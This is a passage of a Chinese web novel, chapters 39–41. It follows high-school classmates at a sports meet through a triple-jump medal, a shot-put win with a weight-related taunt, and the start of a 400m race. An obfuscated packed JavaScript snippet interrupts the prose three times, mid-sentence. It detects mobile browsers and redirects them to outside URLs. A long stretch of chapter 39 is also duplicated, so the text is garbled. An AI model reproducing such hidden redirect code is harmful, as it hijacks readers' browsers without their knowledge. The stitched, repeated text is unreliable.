刚刚就有几个成绩无效的学生,对于这项稍有些陌生的运动,无论成功与否,旁边的人总是报以最高的敬意和最热烈的掌声。 但总有人是不一样的。 沈瑜驾轻就熟地助跑起跳,在不少人做来有些奇怪的起跳姿势也被少年消化,第二跳落下,沈瑜蹬住地面向沙池中跳跃。 “哇!” 随着沈瑜在空中舒展看身子,稳稳落进沙池,周围发出一阵惊叹。 “稳了。”周博承看着沈瑜最后落点,没忍住笑了,“那么多沙子真的不是白吃的。” 就像周博承之前说的,一中没有专门训练三级跳的学生,但这并不意味着就能轻松混到成绩。 在水平都半斤八两的情况下,努力就显得格外重要。 为此沈瑜每周抽出时间和周博承一起晚训,虽然不是真的像那样大强度的训练,但是沈瑜也确确实实摔了不少跤。 此刻,一跳锁定胜局。 “典型的说着我不复习但是晚上偷偷刷题的学霸。”于落落听着裁判报出来的距离,眼神逐渐危险,“这样不就显得我真的一点没努力了吗!?” 沈瑜刚从沙池离开绕到场边就听到了于落落的控诉,刚想说什么就听见低头翻着相册的季知节叹了口气。 “好像没拍好来着。” 沈瑜脚步一顿,刚想说什么就听到裁判呼喊:“那个男生,你第二跳还跳不跳啊?” “跳。” 季知节摆弄相机的手一顿,后知后觉地发现这个声音离自己有些近。 女孩抬头,却只看见了男生离起点越来越近的身影,站定转身,少年对上了少女的目光,在所有人都注视中,男孩异常臭屁地比了个“V”的手势。 在一声哨声中,沈瑜放下手,做好预备姿势,准备再次起跳。 39. 第 39 章 “那我们去检录了哈。”于落落揽着张镜,一脸悲壮。 季知节端着相机,一脸无奈,“去吧去吧,我一会儿过去找你们。” 一中除了团体名次会在最后的闭幕式上宣布,其他的单项成绩一旦统计出来就会直接颁发奖牌。 于落落赶着去铅球检录,又不想错过沈瑜的颁奖,忽视了季知节想要陪着去检录的意愿,于落落挽着张镜就把相机留给了季知节。 周博承拖着沈瑜去了主席台准备领奖。 季知节打开相机查看着之前拍摄的照片,得益于少年的外貌加成,拍出来的的照片都不算难看,也许是因为第一跳让季知节有所准备,第二跳拍的照片,有几张季知节相当满意。 “我没准还有点摄影天赋呢,真挺帅的。”季知节嘀嘀咕咕,手指不停滑动着照片,“落落那家伙,拍了这么多嘛!” 相册里照片的数量惊人,几乎每一个参加了项目的同学都有几张照片,帅气的、搞怪的,甚至于只是在做着自己的事情的学生都有着自己的特写,季知节还发现了几张李老板的靓照。 季知节无法按耐脸上的笑意,心绪被一张张照片牵引,仿佛每一张都在诉说着照片主人公的故事,即使只是拿了瓶水、即使只是挥了下手,但在于落落到镜头下,每一个人都是那样鲜明活泼。 忽的,季知节手指一顿。 被定格住的两个人闯入了季知节布满笑意的眼睛。 男孩女孩青涩懵懂的模样显得格外美好,阳光下清晰可见的汗毛和不经意翘起的发丝都是青春的样子。 只是,主人公是自己。 季知节看着这张照片半天没有回过神,心脏跳动的频率好像又被拉了那个时候,盯着照片上的某个地方,季知节摸了摸自己都耳朵。 “我的耳朵居然有那么红吗?” 还没来得及仔细思考耳朵泛红的背后意义,季知节就被广播声打乱了思绪。 “请男子三级跳项目组前三名到主席台领奖,请男子三级跳项目组前三名到主席台领奖……” 季知节盯着屏幕,最终带着相机往主席台飞奔而去。 手机的传输软件中,不知何时多出了一张照片。 —— “抱歉抱歉,来迟了。”季知节气喘吁吁地看着在领奖台旁边左顾右盼的沈瑜,有些狼狈地朝占据了最佳摄影位置的周博承说道。 “问题不大。”周博承赶紧让出位置,安慰道。 这祖宗是真的重啊。季知节喘着气举起相机,焦点定格在马上要踏上领奖台的沈瑜身上,咔嚓一声,拍下了少年戴上金牌的瞬间。 “她是你女朋友吗?”沈瑜旁边的男生好奇地看着从跳远开始就一直在拍照的女孩,低声问道。 沈瑜视线从女孩身上收回,跟着老师的指引,目视前方,三个人直挺挺站着的画面被老师拍下,随着快门按下,男生耳边传来一句话:“不是。” “好了!”拍摄的老师放下相机,示意已经结束。 男生刚想偏过头继续八卦,就见沈瑜跳台面,直奔女孩而去。 “虽然我希望是。” 空气中只留下了这样一句话。 男生跳下奖台的动作一顿,希望什么? 视线被远去的人吸引,然后视野里便多了一个背着相机的女孩。 男生看着刚刚站在领奖台上的少年低头浅笑,摘下挂在脖子上的金牌供少女把玩。 “哇哦。”男生无声感叹。 季知节看着手中像模像样的金牌,边走边翻来覆去的打量着,“这要是真金该多值钱啊。” “没准真的镀了一层呢。”沈瑜挑眉,“好歹也是正儿八经的百年名校。” “你以为我傻啊。”季知节没好气地白了一眼男生,“学校这么穷,连个食堂都没有,哪来的金子给你。” “你试试看喽。”沈瑜点了点季知节手中的奖牌,一脸认真,“看这个光泽,镀了层金也不是没可能啊。” 季知节眯了眯眼睛,掂了掂手中的牌子,逐渐被蛊惑。 “金子要怎么试啊?”周博承好奇,正准备拿过金牌看一看,就看见女生把奖牌往上举,然后,咬了下去。 沈瑜调笑的神情一顿,大步跨到少女面前,有些慌张地托住女孩的脸,“张嘴我看看,牙有没有事啊。” 季知节毫无预备地被少年手心的温度烫到,不自觉松开了牙,连带着手的力度也变小,奖牌哐的一下砸到了地上,咕噜咕噜滚了两圈。 “……没事。”季知节被奖牌砸地的声音惊醒,不自觉后退一步,蹲下身子就去捡奖牌。 沈瑜还没回过神来,手心的触感就变了。 “我去找落落。”少女扔下一句话就扬长而去,等沈瑜看过去就只剩下一个快速奔跑的背影。 “……别摔了。”沈瑜叮嘱的话卡在喉咙没有说出来,就被旁边的周博承打断。 “啧啧。”周博承乍舌摇头,“你干嘛呢你,流氓啊。” 沈瑜一顿,看向周博承,“你怎么在这?” “?”周博承不可置信,“我不是一直在这吗?” “哦?”沈瑜一顿,轻描淡写,“不好意思没注意。” “……”周博承气极反笑,“我现在就走,您好自为之。” 沈瑜相当自然地朝周博承挥了挥手,看着男生远去的背影,沈瑜终于低头,看向了手里的东西。 圆滚滚的奖牌静静躺在手心,在刻着“三级跳冠军”几个字的位置多了一排浅浅的、小巧的牙印。 看着整齐的牙印,沈瑜不自觉摩挲了一下手指,想起那柔软的触感以及少女因为惊讶微张的唇瓣,沈瑜后知后觉红了脸。 “……”沈瑜骂了句脏话,强装镇定地把奖牌收入口袋,深呼吸一下,就迈步向前走去。走了两步发现不对,少年顿了一下,抬头寻找了一下方向,终于朝着对的方向迈进。 —— “你脸怎么这么红,真的中暑了吗?”张镜在铅球场地边接到季知节,看着女孩通红的脸,略微有些担忧,“不行去歇一会?” “……”季知节沉默了一会,刚想开口就被张镜打断。 “OK,你就老实在这呆着拍照吧。”张镜目光了然,推了推眼镜,什么都没说,又好像什么都说了。 “……”季知节脱下相机背带,不管不顾按到张镜脖子上,“你自己拍!我要累死了!” 没来得及挣扎,张镜就被金钱的重量压弯了脖子。 “……”张镜不可置信地端起相机,眼神里全是敬佩,“难怪落落能去扔铅球。” 倒也没有这么强的因果关系……季知节甚至不愿意吐槽,看着张镜已经开始捣鼓相机,手背不自觉贴上脸颊,企图降温。 远超于社交距离的亲密带来的冲击一时半会无法平缓,季知节脑海里都是少年落在唇上的目光和充满温度的掌心。 她真是疯了才会咬那么一下。季知节低垂着眼睛,轻咬了一下舌尖。 “你……脸越来越红了诶。”脸上突然被戳了戳,张镜不知何时已经没有在看相机了,修长的手指还停在季知节脸边,张镜没忍住又戳了戳,感受着指尖传来的热度,张镜满心好奇。 沈瑜到底做了什么啊。 季知节拍开张镜的手指,没好气地说道:“你专心点,一会轮到落落了。” 张镜撇撇嘴,“一会儿拍得不好看我就说啥你拍的。” 季知节:“……”你以为于落落没长眼睛嘛…… “你们站在赛场上,你们托举着自我的重量,小小的一颗铅球犹如一颗流星,在空中划出优美的弧线,不要担心落点,不要纠结距离,站上赛场的你们就是值得掌声的存在,加油,高一三班阮书琪、于落落!” 阮书琪是三班第一位参加铅球的选手,和于落落的倒霉签运不同,铅球项目是阮书琪自己主动报名的。 “看我样子也知道,我力气很大呀。”阮书琪当时就站在周博承的座位边,笑得一脸爽朗。 阮书琪和部分女生比起来,要丰满一些,脸上还有着可爱的婴儿肥,手指也软乎乎的,笑起来像个年画娃娃。 广播声里传来熟悉的名字,季知节侧耳聆听,感叹道,“真的是多亏林江哲了,铅球也是他写的。” “写得比你好。” “能别拉踩嘛……”季知节简直无力反抗,把目光移向了出场的于落落和阮书琪,朝她们挥了挥手。 张镜举起相机,不管三七二十一就是一顿拍。 “总有几张能用的。”张镜面不改色疯狂按着快门。 放在口袋的手机忽然震动了一下,季知节拿出手机,待机屏幕上弹出了一条消息。 林江哲:【铅球开始了吗?】 季知节随手拍了一张运动员列队的照片发了过去:【快了,她们在中间的位置。】 过了几秒,聊天界面上弹出回复:【好的,谢谢,出成绩请告诉我,我写稿子。[握手.jpg]】 季知节看着那个握手的emoji,弹了个表情包过去,然后收起手机。 “林江哲老实得让我觉得我在这玩是种罪过。”季知节双手合十忏悔,“我一会儿就去感谢他。” “你别给人吓到了。”张镜无奈,“他和我从初中就同班,三年没说过几句话,要不是每次考试都在我后面,我都忘记有这个人了。” “……压了人家三年到今年第四年,你是不是有点太……”季知节在张镜森然目光中咽下原来的话,快速改口,“太帅了。” “还行吧。”张镜满意收回目光,漫不经心道。 悲壮。 季知节端着相机,一脸无奈,“去吧去吧,我一会儿过去找你们。” 一中除了团体名次会在最后的闭幕式上宣布,其他的单项成绩一旦统计出来就会直接颁发奖牌。 于落落赶着去铅球检录,又不想错过沈瑜的颁奖,忽视了季知节想要陪着去检录的意愿,于落落挽着张镜就把相机留给了季知节。 周博承拖着沈瑜去了主席台准备领奖。 季知节打开相机查看着之前拍摄的照片,得益于少年的外貌加成,拍出来的的照片都不算难看,也许是因为第一跳让季知节有所准备,第二跳拍的照片,有几张季知节相当满意。 “我没准还有点摄影天赋呢,真挺帅的。”季知节嘀嘀咕咕,手指不停滑动着照片,“落落那家伙,拍了这么多嘛!” 相册里照片的数量惊人,几乎每一个参加了项目的同学都有几张照片,帅气的、搞怪的,甚至于只是在做着自己的事情的学生都有着自己的特写,季知节还发现了几张李老板的靓照。 季知节无法按耐脸上的笑意,心绪被一张张照片牵引,仿佛每一张都在诉说着照片主人公的故事,即使只是拿了瓶水、即使只是挥了下手,但在于落落到镜头下,每一个人都是那样鲜明活泼。 忽的,季知节手指一顿。 被定格住的两个人闯入了季知节布满笑意的眼睛。 男孩女孩青涩懵懂的模样显得格外美好,阳光下清晰可见的汗毛和不经意翘起的发丝都是青春的样子。 只是,主人公是自己。 季知节看着这张照片半天没有回过神,心脏跳动的频率好像又被拉了那个时候,盯着照片上的某个地方,季知节摸了摸自己都耳朵。 “我的耳朵居然有那么红吗?” 还没来得及仔细思考耳朵泛红的背后意义,季知节就被广播声打乱了思绪。 “请男子三级跳项目组前三名到主席台领奖,请男子三级跳项目组前三名到主席台领奖……” 季知节盯着屏幕,最终带着相机往主席台飞奔而去。 手机的传输软件中,不知何时多出了一张照片。 —— “抱歉抱歉,来迟了。”季知节气喘吁吁地看着在领奖台旁边左顾右盼的沈瑜,有些狼狈地朝占据了最佳摄影位置的周博承说道。 “问题不大。”周博承赶紧让出位置,安慰道。 这祖宗是真的重啊。季知节喘着气举起相机,焦点定格在马上要踏上领奖台的沈瑜身上,咔嚓一声,拍下了少年戴上金牌的瞬间。 “她是你女朋友吗?”沈瑜旁边的男生好奇地看着从跳远开始就一直在拍照的女孩,低声问道。 沈瑜视线从女孩身上收回,跟着老师的指引,目视前方,三个人直挺挺站着的画面被老师拍下,随着快门按下,男生耳边传来一句话:“不是。” “好了!”拍摄的老师放下相机,示意已经结束。 男生刚想偏过头继续八卦,就见沈瑜跳台面,直奔女孩而去。 “虽然我希望是。” 空气中只留下了这样一句话。 男生跳下奖台的动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14597117|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一顿,希望什么? 视线被远去的人吸引,然后视野里便多了一个背着相机的女孩。 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“OK,你就老实在这呆着拍照吧。”张镜目光了然,推了推眼镜,什么都没说,又好像什么都说了。 “……”季知节脱下相机背带,不管不顾按到张镜脖子上,“你自己拍!我要累死了!” 没来得及挣扎,张镜就被金钱的重量压弯了脖子。 “……”张镜不可置信地端起相机,眼神里全是敬佩,“难怪落落能去扔铅球。” 倒也没有这么强的因果关系……季知节甚至不愿意吐槽,看着张镜已经开始捣鼓相机,手背不自觉贴上脸颊,企图降温。 远超于社交距离的亲密带来的冲击一时半会无法平缓,季知节脑海里都是少年落在唇上的目光和充满温度的掌心。 她真是疯了才会咬那么一下。季知节低垂着眼睛,轻咬了一下舌尖。 “你……脸越来越红了诶。”脸上突然被戳了戳,张镜不知何时已经没有在看相机了,修长的手指还停在季知节脸边,张镜没忍住又戳了戳,感受着指尖传来的热度,张镜满心好奇。 沈瑜到底做了什么啊。 季知节拍开张镜的手指,没好气地说道:“你专心点,一会轮到落落了。” 张镜撇撇嘴,“一会儿拍得不好看我就说啥你拍的。” 季知节:“……”你以为于落落没长眼睛嘛…… “你们站在赛场上,你们托举着自我的重量,小小的一颗铅球犹如一颗流星,在空中划出优美的弧线,不要担心落点,不要纠结距离,站上赛场的你们就是值得掌声的存在,加油,高一三班阮书琪、于落落!” 阮书琪是三班第一位参加铅球的选手,和于落落的倒霉签运不同,铅球项目是阮书琪自己主动报名的。 “看我样子也知道,我力气很大呀。”阮书琪当时就站在周博承的座位边,笑得一脸爽朗。 阮书琪和部分女生比起来,要丰满一些,脸上还有着可爱的婴儿肥,手指也软乎乎的,笑起来像个年画娃娃。 广播声里传来熟悉的名字,季知节侧耳聆听,感叹道,“真的是多亏林江哲了,铅球也是他写的。” “写得比你好。” “能别拉踩嘛……”季知节简直无力反抗,把目光移向了出场的于落落和阮书琪,朝她们挥了挥手。 张镜举起相机,不管三七二十一就是一顿拍。 “总有几张能用的。”张镜面不改色疯狂按着快门。 放在口袋的手机忽然震动了一下,季知节拿出手机,待机屏幕上弹出了一条消息。 林江哲:【铅球开始了吗?】 季知节随手拍了一张运动员列队的照片发了过去:【快了,她们在中间的位置。】 过了几秒,聊天界面上弹出回复:【好的,谢谢,出成绩请告诉我,我写稿子。[握手.jpg]】 季知节看着那个握手的emoji,弹了个表情包过去,然后收起手机。 “林江哲老实得让我觉得我在这玩是种罪过。”季知节双手合十忏悔,“我一会儿就去感谢他。” “你别给人吓到了。”张镜无奈,“他和我从初中就同班,三年没说过几句话,要不是每次考试都在我后面,我都忘记有这个人了。” “……压了人家三年到今年第四年,你是不是有点太……”季知节在张镜森然目光中咽下原来的话,快速改口,“太帅了。” “还行吧。”张镜满意收回目光,漫不经心道。 40. 第 40 章 铅球场地的观赛人员并不多,除了陪同的亲友,只有零星一些人站在旁边。 “还好来看的人不多,不然我丢脸要丢大发了。”于落落挂在阮书琪身上,一脸心有余悸,“我要是一会扔到自己脚上咋办。” 阮书琪被于落落的担心逗笑,开口安慰:“我们又不是专门学这个的,随便扔啦,” 于落落又想起抽到这个项目时,李老板不走心的开导。 “就当去玩了,别担心成绩,注意安全。” 话虽然这么说,但是于落落还是有些胜负欲的,具体表现在不管能扔出多远距离,姿势总归是到位了。 踩到准备区之后,于落落会在脑海里回想着体育课上为数不多的几次训练已经前一天晚上临阵磨枪背的动作要点。 “像模像样的。”季知节看着于落落拿起铅球,点头赞叹,张镜也连忙抓拍。 下一秒…… 裁判报出距离:“2.5m” “当我没说。”季知节撇开头,不去看堪堪飞出去一点点距离的铅球。 肉眼可见的,于落落脸红了不少。 “还要扔一次吗?”裁判相当有素质,看到像皮球一样滚动着的铅球也没笑,捡起球面不改色。 “……要。”于落落咬牙,来都来了,就再扔一次吧。 第二次也没远多少,于落落捂着脸蹦到季知节身边哀嚎。 “有点丢人……”于落落把头埋在季知节肩膀,哭唧唧。 “起码姿势是帅的。”季知节不走心的安慰。 张镜把镜头对准阮书琪,“也只有姿势帅了。” 于落落:…… 深知在张镜嘴里听不到好话的于落落果断转头看向阮书琪。 “加油啊!琪琪!”于落落朝着阮书琪挥手。 阮书琪听到于落落的喊声,眼睛笑成了月牙儿,本就可爱的脸庞更加耀眼。 “好可爱!”于落落捧住心口,一脸被迷住了样子。 季知节嫌弃地推开于落落,却也没忘记给场上的女孩送去加油。 阮书琪深吸一口气,接过铅球,双手掂了掂,最终朝裁判点了点头。 和于落落注重扔球的姿势不同,阮书琪相当随便地站在规定区域内,在准备好后以自己舒服的姿势扔了出去。 于落落手中重若千钧的铅球在阮书琪手中仿佛就如同小孩子的玩具一般,“唰”的一下飞了出去。 “哇哦。”季知节不禁感叹,“善书者不择笔啊,你看看人家,你那么花里胡哨还不如人家随手一扔。” 于落落踢了一下季知节的脚后跟,愤愤不平,“我要是不花里胡哨一点,连个姿势帅的评价都捞不到,我总得被夸一下吧。” 季知节只得顺毛,“你站在那就很帅了,简直了,我落姐。” 于落落也真的是相当好哄,一秒开心,“我也觉得。” 但也总有刺耳的声音。 “我说什么来着,她肯定能扔的远,几个人里面她长得最胖了。” 当阮书琪开开心心从赛场下来时,就听到了这样一句话。 女孩的笑容顿时僵在了脸上,迈出的步子都小了一些。 季知节低头发消息的手一顿,目光看向说话的几个男生。 男生察觉说出的话被当事人听个正着,也面露尴尬,抬脚就想离开,却被季知节喊住。 “你们不打算道歉吗?”女孩神色平静,一双圆眼丝毫没有笑意,犀利的目光盯着说话的人。 “道什么歉,我又没骂人。”男孩脸上有些挂不住,却还是嚷嚷道,“玩笑都开不起,真没劲。” “借用玩笑的名义就可以为所欲为吗?”季知节微微歪头,一脸好奇,“玩笑两个字是什么免死金牌吗?” “玩笑又不是你一个人觉得好笑就行。”于落落看了一眼男孩的身高,又看了看比自己还要高一点的阮书琪,突然笑了一下,“我们都没有拿你的身高开玩笑诶。” “你……”男孩明显被戳到了痛处,像上前理论,却被同行的人拉住。 “不好意思,实在对不起,我们没有恶意的。” “虽然我们听着挺有恶意的。”张镜放下相机,淡淡刺了一句。 “在刚刚结束的铅球项目中,我班阮书琪同学以8.56米的成绩取得高一女子组冠军,努力从来不会被辜负,奖牌是你应得的嘉奖,你是我们永远的骄傲。” 广播里优美的女声把对阮书琪的赞扬送至操场的每一个角落,季知节拉住一直站在身后的阮书琪,皮笑肉不笑,“等你能拿个金牌再来发表言论吧。” 三个人簇拥着阮书琪离开,于落落还悄悄翻个白眼。 “我都说了让你讲话注意点。”男孩被同伴怼了怼,“一天天的说话不过脑子。” “我都说了我不是故意的。”男孩看了一眼逐渐走远的阮书琪,摸了摸脑袋懊恼道。 “谢谢你们啊。”阮书琪看着围在身边的几个女孩,佯装轻松道,“虽然我也知道自己有点胖,但是被别人说的时候还是有点难受,如果不是你们,我肯定都懵了。” “你哪胖了啊?”季知节捏着阮书琪的手,满脸都是满足。 “哪都胖啊。”阮书琪好笑道,“你看不出来嘛,我肚子上腿上都是肉,我都不敢穿裙子。” “还好吧。”季知节打量着阮书琪所谓都是肉的地方,“这不挺正常的嘛,谁肚子上没点肉啊,女孩子肚子上有肉多正常啊,那是保护内脏的。” “真的嘛?”阮书琪捏了一把自己的肚子,眼睛眨了眨。 “当然啦,这是女性基因决定的啦。” “只要没有危害健康,这些都无所谓啦。”季知节忽然提起裤脚,笑得开心,“你看,我天天骑车,小腿也长肌肉呀。” “她骑车练出肌肉之后,踹人都变疼了。”于落落像是想到了什么,悄咪咪后退一步抱怨道。 季知节眯着眼睛抬起脚,“你要再来一下嘛?” “救命!”于落落大喊一声,一下子跳到阮书琪身后,探出脑袋挑衅,“琪琪保护我!” 看着古灵精怪的几个人,阮书琪笑出了声,眉眼间透露出轻松的神色。 阮书琪时常把“胖”、“壮”等词挂在嘴边,希望以一种调侃的方式达到脱敏的目的,但是事与愿违,挂在嘴边的话让别人觉得自己并不在意这些话,时常拿来打趣。 但其实,阮书琪在意的要命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14599970|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,比大部分男生还要高一些的身高,以及发育期长胖的身材都让她感到有一些自卑。 无论这些话带不带恶意,在阮书琪听来都十分刺耳,但又害怕表现出自己的在意之后会被说成矫情,毕竟先开口调侃的,是自己。 这是一种很奇怪的心理,就像她主动报名铅球一样,她希望从中找到认同感,想告诉自己即使胖也没关系,总有她能做到的事情。但当真的做到时,听到那句话时,又会忍不住内耗:这有什么好骄傲的,只不过是因为胖而已。 “不过这个祝贺稿是有够快的。”拍到满意画面的张镜满足地看着手中的相机,显示屏里的几个女孩可爱又充满活力。 季知节闻言停下动作,也不禁感叹道,“是啊,太及时了。” “林江哲是不是你同桌来着。”于落落像是想到了什么,戳了戳阮书琪。 阮书琪听到熟悉的名字轻轻点头。 “对。” 林江哲并不清楚几个女孩正提到他的名字,在送完祝贺稿之后,他如释重负般回到班级的位置开始收拾桌子以及边上摆着的水。 林江哲把没能用上的稿子仔细对折好,塞进垃圾袋,又看了一眼季知节传来的消息,心满意足地投入到下一份稿子中。 在知道自己的同桌会参加铅球的那一刻,林江哲就做了两手准备,拿到名次之后的祝贺稿,以及没拿到名次的鼓励稿,为的就是能及时让人知道,毕竟堆积了那么多稿子,很容易发生项目已经完全结束,但是稿件还堆积如山的情况。 不过幸好,最终用到的是第一张。 —— 沉重的相机最终又回到了于落落的脖子上,张镜揉着自己的手和脖子,一脸感慨,“你能拿得住这玩意怎么铅球才扔2.5米啊。” 于落落抱着相机撇嘴:“完全不是一个量级的好吧,而且我也不会拿着相机往外扔啊。” “但是背久了会持续减HP的吧。”季知节想了想压在脖子上的沉重感,心有余悸,“感觉像是被打上了什么debuff一样,越来越累那种。” “嘁,你们菜就直说好嘛。”于落落小声切了一声,反驳道,朝着阮书琪道,“不理她们,我给你拍照去。” 阮书琪被于落落拖着离开,只剩下菜菜的季知节和张镜面面相觑。 “她拍那么多照片干嘛,打算做什么集锦吗?”张镜看着一拍起照片就完全不管周围的于落落,略有些不解,“从早拍到现在了,我看相机都没停下来过,得亏续航不错。” “没准吧。”季知节耸了耸肩膀,“平时她不就爱拍拍拍嘛,等她生日的时候我们送个内存卡吧。” “好主意。”张镜点头,像是想起来了什么,忽的对季知节扬起了一个极其温柔的笑,“对了,要不然你和我解释一下,这个是什么?” 季知节内心警铃大作,就看见张镜反手绕到背后,扯下了一张相当眼熟的便利贴,“你刚刚就让我戴着这玩意招摇过市是嘛?” 眼见事情败露,季知节拔腿就跑。 “于落落也知道,你不能只骂我的!”季知节跑路还不忘拖人下水,企图祸水东引。 张镜灿然一笑,“放心,你们一个都跑不掉。” 41. 第 41 章 当沈瑜和周博承回到班级范围时,就看见季知节毫无形象地顶着一头乱糟糟的头发瘫坐在台阶上,手里还抱着一瓶矿泉水大口喝着。 “你这是刚跑完1500米吗?”周博承看着狼狈至极的女孩嘲笑道。 刚拿好一瓶水的于落落也一屁股坐在了季知节旁边,脖子上的相机也不知道哪去了。 “你被张镜追追看就知道了。” 于落落谴责的话在张镜越来越近的身影中逐渐变小,最后和倒入嘴中的水一起消失。 看着张镜背着相机大马金刀地走过来,季知节慌忙起身,相当谄媚地扫了扫地面上的灰:“您坐您坐。” 张镜右手微抬,于落落就急忙起身,弯下腰,虚扶着张镜的手,掐着嗓子道:“您请上座。” 等张镜稳稳坐下,季知节拿着已经拧开瓶盖的水双手递了过去。张镜掐着兰花指接过,浅浅品尝了一口,于落落相当有眼色的捧着手在一旁等待,等瓶子落到掌心时,于落落扶着瓶身恭敬地在一旁站着,季知节又递上了一张不知道从哪个角落里掏出了的皱巴巴的纸巾,张镜也没嫌弃,轻按几下嘴角,淡淡道:“跪安吧。” “喳。”于落落和季知节抱拳作揖,行了个不伦不类的礼,齐齐高声喊道。 一块破破烂烂甚至还有点掉皮的台阶硬生生的变成了横店,三个人不知道已经把剧本演到了第几集,对此接受良好甚至有点习惯了的沈瑜和周博承兴致勃勃地在最佳观影点欣赏,但从一开始就觉得不妙的林江哲端着笔和本子早早逃离的事故地,一上午被横幅锻炼出来的心态终究是功亏一篑。 不时路过的人也欣赏了好一场大戏。 “怎么了班长大人?”看着剧目似乎有杀青的迹象,周博承实在按耐不住心中的好奇,上前八卦道。 张镜把口袋里的便利贴掏出来指着季知节:“主谋。” 随后又指向于落落:“帮凶。” 言简意赅的四个字仿佛全都说了,又好像什么都没说。 周博承顶着季知节充满威胁的目光,按下追问的欲望,不甚熟练地转移话题,“上午赛程应该不多了,我来看看接下来的安排,” 季知节不知道从哪里翻出了赛程安排表,头也不抬地报道:“上午还有个四百米预决赛,下午有100米决赛,至于落落你的跳远,周博承的跳高都在明天上午。” “小小四百米,轻松拿下。”周博承听到自己的项目,拿起早就准备好的背包,笑得充满自信。 事情就如周博承预料中的那般顺利,高一年级组的体育特长生扎堆去了短跑,四百米报名的人员中并没有太多熟悉的人,就当周博承以为自己已经提前锁定冠军时,他转头碰见了和他一样穿着钉鞋、别着号码牌的林子期。 林子期:“……” 周博承:“……” 沉默,是此刻的主旋律。 陪着周博承来检录的沈瑜在看见林子期的第一秒就明白了情况,完全没有预料到这样的脑回路都能撞到一起,沈瑜捂着最后的良知没有笑出声,然后带着周博承换下来的外套火速离开。 “……那什么,挺巧啊。”周博承率先开口打破寂静,皮笑肉不笑道。 林子期想起同学打听回来的消息,也挂起一抹虚伪的笑:“是挺巧,你也跑400米啊。” 周博承佯装自然点头,“啊,对,好像是这样。” “……” 又是一阵沉默,实在不知道该说什么,两人不约而同的转过身做着准备活动,还未开赛,战争就已经打响。 —— “不是吧,林子期也报的是400米?!”被沈瑜带回的第一手消息惊呆,站在起点也将是终点位置等着拍照的于落落一时间无力吐槽。 这都能想到一块去吗?!soulmate吗?! “要不说冤家路窄呢。”季知节想起周博承的满满自信,一时间笑出了声,视线刻意不在赶来的男生身上停留,季知节把目光放在了对面,但却没想到还真看见了什么。 “那是不是林子期他朋友来着,那天来问周博承项目的那个。” 跑道对面多出了一个男生,男生不停地和旁边的女生说着什么,不时还指着检录处手舞足蹈。 女生手上拿着一瓶未开封的运动饮料,瓶壁上沁着的水珠昭告着自己离开冰柜没多久。女生一边听着男生的话,一边忍不住踮脚向起点观望。 “好像是。”张镜闻言看了过去,从记忆中拉出男生的脸做对比。 “肯定就是了。”于落落眼睛咕噜一转,“肯定是林子期想让自己的女朋友看见自己冲线时候的英姿,才千叮咛万嘱咐一定要把这个女孩子带过来。” “看样子应该还不知道半路杀出来了个周博承,不然也不能这么胸有成竹吧。” “好事被周博承这个没眼色的给打乱了。”张镜嫌弃道,“太过分了周博承。” 季知节:“……”倒是很坚信周博承一定会赢哈,这该死的集体荣誉感。 不过…… 季知节看着对面女孩握着瓶身逐渐泛白的指尖以及溢出脸庞的期待和紧张,莞尔一笑。 林子期心机又笨拙的行为也好,女孩专门去便利店买的饮料也罢,都是青春年华最美的样子。 阳光正好,微风过树梢,塑胶跑道上是熙熙攘攘的热闹。季知节置身于这让人欢喜的乌托邦,发自内心地欢笑。 踏上跑道的周博承和林子期并不知道这边的岁月静好,周博承看着脚下的“3”和林子期脚下的“4”只觉得无比晦气。 林子期亦是如此,从站到周博承旁边开始就没说过一句话,只不过在踏上跑道时,没忍住向女孩那边望了一眼。 400米是相当极限的运动,它需要全程保持加速状态,但又不像100米和200米一样只需要坚持十几秒即可,它需要以跑100的冲劲去完成400米,看上去只差一点点,但是人体构造决定了人类几乎只能高强度冲刺200-300米,一旦超过这个限度,乳酸堆积带来的负担就足以让人超过极限。 所以每一个四百米,都在拼命。 林子期并不是第一次跑400米,更不是第一次和周博承比拼400米,他们都不是专 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617561|152907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门训练400米的选手,这么长时间比下来有输有赢,包括在专项跳高的领域里,林子期也有输过,甚至还输了不少次,他讨厌输,但他并不畏惧输。 他只是想赢,想赢得漂亮而已。所以才会选择避开。 但既然碰上了,那就堂堂正正比一场吧。 比起毫无悬念赢下来的金牌,还是把昔日宿敌踩在脚下抢来的金牌更香一点。 林子期这般想着,在裁判预备声中俯下身子,做出一个标准的蹲踞式起跑的动作。 “砰——” 两道身影如离弦的箭一般射了出去,钉鞋牢牢抓住地面,修长矫健的双腿以一种夸张的频率摆动着,几乎是瞬间,两人就跑到了弯道的位置。 